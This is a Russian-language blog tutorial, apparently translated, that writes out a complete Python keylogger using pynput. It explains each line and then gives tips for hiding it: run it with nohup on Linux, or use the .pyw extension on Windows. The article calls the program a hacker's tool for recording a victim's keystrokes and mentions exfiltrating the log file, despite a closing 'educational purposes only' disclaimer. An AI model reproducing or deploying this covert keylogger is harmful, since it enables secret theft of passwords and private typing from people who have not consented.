Рубрики
Без рубрики

Создание кейлоггера Python в 10 строках кода

Сегодня мы будем работать над созданием кейлоггера Python. Кейлоггеры-один из самых распространенных инструментов в арсенале хакера. На самом деле они являются одними из самых

Автор оригинала: Pankaj Kumar.

Сегодня мы будем работать над созданием кейлоггера Python . Кейлоггеры-один из самых распространенных инструментов в арсенале хакера. На самом деле они являются одним из самых основных инструментов и очень просты в изготовлении. В этом модуле мы научимся кодировать очень эффективный, но точный кейлоггер.

Установка Необходимых Библиотек

Прежде чем мы начнем, нам нужно установить определенную библиотеку, что мы можем сделать с помощью команды pip:

$ sudo pip3 install pynput

С этим покончено, мы можем продолжать писать наш код!

Реализация кейлоггера Python всего в 10 строках

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

Объяснение Кода

Я не буду заставлять тебя болтаться только с кодом. Давайте разберемся, что делает каждая линия, чтобы вы были готовы построить свою собственную!

Строки 1-2: Импорт Необходимых Библиотек

from pynput.keyboard import Key, Listener
import logging

Для работы нашего кода нам понадобятся следующие библиотеки:

  • pynput : Это поможет нам прочитать нажатия клавиш, когда пользователь вводит данные
  • logging : Это будет записывать нажатия клавиш в файл, который мы позже сможем эксфильтратировать подходящими средствами

Строка 4: Базовая конфигурация журнала

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

Здесь мы создаем базовую конфигурацию для системы ведения журнала. Мы указываем имя файла, в котором нажатия клавиш будут записываться как keylog.txt с последующим указанием формата, в котором будут храниться нажатия клавиш, что в данном случае будет:

YY-MM-DD HH-MM-SS(ms) - KEY

Строка 6-7: Определение нашей Функции

def on_press(key):
    logging.info(str(key))

Определенная здесь функция принимает аргумент, указывающий на клавишу, нажатую пользователем, и записывает его в файл после преобразования в строку.

Строка 9-10: Получение нажатий клавиш

with Listener(on_press=on_press) as listener :
    listener.join()

Во-первых, здесь мы создаем экземпляр прослушивателя, который будет записывать нажатия клавиш и передавать созданную нами функцию в качестве аргумента. Затем мы используем метод .join () , чтобы соединить его с основным потоком.

Таким образом, каждый раз, когда нажимается клавиша, запускается прослушиватель, и он вызывает нашу функцию, которая затем записывает ваши нажатия клавиш в файл.

Запуск Нашего Кейлоггера Python

Вы можете запустить программу с помощью:

$ python3 keylogger.py

После запуска программы мы заметим новый файл keylog.txt создан в текущем каталоге.

Запуск нашего кода для кейлоггера Python
Захваченные нажатия клавиш Python Keylogger

Украдкой запускаем наш кейлоггер Python

Как вы можете видеть, последний метод запуска нашего кода был не очень скрытным, поэтому, чтобы сделать его немного более эффективным, мы можем использовать следующие приемы.

В Linux/Unix

Чтобы запустить код незаметно, вы можете просто запустить его как:

$ nohup python3 keylogger.py &

Это позволит коду работать даже после закрытия терминала, сохраняя при этом запись нажатий клавиш !

В Windows

В Windows вы можете просто переименовать расширение файла из .py в .pyw , а затем дважды щелкнуть файл, чтобы запустить его без появления терминала. Затем программа запускается в фоновом режиме, регистрируя каждое нажатие клавиши.

Вывод

Поэтому мы закодировали короткий, но эффективный кейлоггер Python для записи нажатий клавиш жертвы. Однако он предназначен исключительно для образовательных целей и не должен использоваться в злонамеренных целях.

Рекомендации – Модуль ввода официальная документация